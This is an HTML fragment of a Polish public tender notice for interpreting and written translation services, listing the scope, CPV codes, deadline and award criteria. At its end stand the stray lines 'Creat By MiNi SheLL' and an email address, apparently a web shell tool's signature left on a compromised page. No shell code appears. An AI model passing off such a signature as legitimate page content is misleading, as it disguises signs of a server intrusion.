                <b>Nazwa: </b>Tłumaczenia ustne<br /><div style="padding-left: 20px"><b>
                    1) Krótki opis przedmiotu zamówienia </b><i>(wielkość, zakres, rodzaj i ilość dostaw, usług lub robót budowlanych lub określenie zapotrzebowania i wymagań)</i><b> a w przypadku partnerstwa innowacyjnego - określenie zapotrzebowania na innowacyjny produkt, usługę lub roboty budowlane:</b>Część 1 zamówienia zatytułowana Tłumaczenia ustne obejmuje tłumaczenia ustne symultaniczne (z wykorzystaniem kabin i odpowiedniej aparatury) i konsekutywne konferencji/spotkań/debat/paneli/briefingów z języka polskiego na języki obce (angielski, niemiecki, francuski, włoski, hiszpański, rosyjski) oraz z języków obcych (angielski, niemiecki, francuski, włoski, hiszpański, rosyjski) na język polski. Szczegółowy opis przedmiotu zamówienia zawiera załączniku nr 1A do SIWZ <br /><b>2) Wspólny Słownik Zamówień (CPV): </b>79540000-1<br /><b>3) Wartość części zamówienia (jeżeli zamawiający podaje informacje o wartości zamówienia):</b><br />
                  Wartość bez VAT:
                  <br />
                  Waluta:
                  <br /><div style="padding-left: 20px"><br /><b>4) Czas trwania lub termin wykonania: </b>
                      data zakończenia: 31/03/2018<br /><b>5) Kryteria oceny ofert: </b><table style="padding-left: 20px"><tr><td><i>Kryteria</i></td><td><i>Znaczenie</i></td></tr><tr><td>cena </td><td>80</td></tr><tr><td>termin odwołana zleconych tłumaczeń</td><td>20</td></tr></table><b>
                      6) INFORMACJE DODATKOWE:
                    </b>1. W przypadku wyboru oferty złożonej przez wykonawców wspólnie ubiegających się o udzielenie zamówienia, Zamawiający może żądać przed zawarciem umowy w sprawie zamówienia publicznego umowy regulującej współpracę tych wykonawców.
2 Zgodnie z Zasadami współpracy w celu zapewnienia bezpiecznych i higienicznych warunków pracy oraz odpowiednich standardów ochrony przeciwpożarowej przeznaczonych dla osób zatrudnionych przez Wykonawcę, wykonujących pracę lub świadczących usługi na terenie Centrum Kongresowego ICE Kraków w Krakowie (załącznik nr 3 do wzoru umowy), najpóźniej w dniu zawarcia umowy, wykonawca składa oświadczenie o treści wskazanej w załączniku nr 9 do SIWZ.
3. W sytuacji gdy przedstawiony przez wykonawcę wykaz osób nie będzie aktualny na dzień zawarcia umowy, wykonawca zobowiązany będzie przedłożyć aktualny wykaz potwierdzający warunek określony przez Zamawiającego odpowiednio w pkt V.1.lit. c lub d SIWZ.
<br /></div></div><br /></div><div><b>Część nr: </b>2
                  
                <b>Nazwa: </b>Tłumaczenia pisemne<br /><div style="padding-left: 20px"><b>
                    1) Krótki opis przedmiotu zamówienia </b><i>(wielkość, zakres, rodzaj i ilość dostaw, usług lub robót budowlanych lub określenie zapotrzebowania i wymagań)</i><b> a w przypadku partnerstwa innowacyjnego - określenie zapotrzebowania na innowacyjny produkt, usługę lub roboty budowlane:</b>Część 2 zamówienia zatytułowana Tłumaczenia pisemne obejmuje tłumaczenia zwykłe i uwierzytelnione z języka polskiego na języki obce (angielski, niemiecki, francuski, włoski, hiszpański, rosyjski) oraz z języków obcych (angielski, niemiecki, francuski, włoski, hiszpański, rosyjski) na język polski. Szczegółowy opis przedmiotu zamówienia zawiera załącznik nr 1B do SIWZ.<br /><b>2) Wspólny Słownik Zamówień (CPV): </b>79530000-8<br /><b>3) Wartość części zamówienia (jeżeli zamawiający podaje informacje o wartości zamówienia):</b><br />
                  Wartość bez VAT:
                  <br />
                  Waluta:
                  <br /><div style="padding-left: 20px"><br /><b>4) Czas trwania lub termin wykonania: </b>
                      data zakończenia: 31/03/2018<br /><b>5) Kryteria oceny ofert: </b><table style="padding-left: 20px"><tr><td><i>Kryteria</i></td><td><i>Znaczenie</i></td></tr><tr><td>cena</td><td>80</td></tr><tr><td>termin wykonania tłumaczeń</td><td>20</td></tr></table><b>
                      6) INFORMACJE DODATKOWE:
                    </b>1. W przypadku wyboru oferty złożonej przez wykonawców wspólnie ubiegających się o udzielenie zamówienia, Zamawiający może żądać przed zawarciem umowy w sprawie zamówienia publicznego umowy regulującej współpracę tych wykonawców.
2. W sytuacji gdy przedstawiony przez wykonawcę wykaz osób nie będzie aktualny na dzień zawarcia umowy, wykonawca zobowiązany będzie przedłożyć aktualny wykaz potwierdzający warunek określony przez Zamawiającego odpowiednio w pkt V.1.lit. c lub d SIWZ.
<br /></div></div><br /></div></div>

Creat By MiNi SheLL
Email: jattceo@gmail.com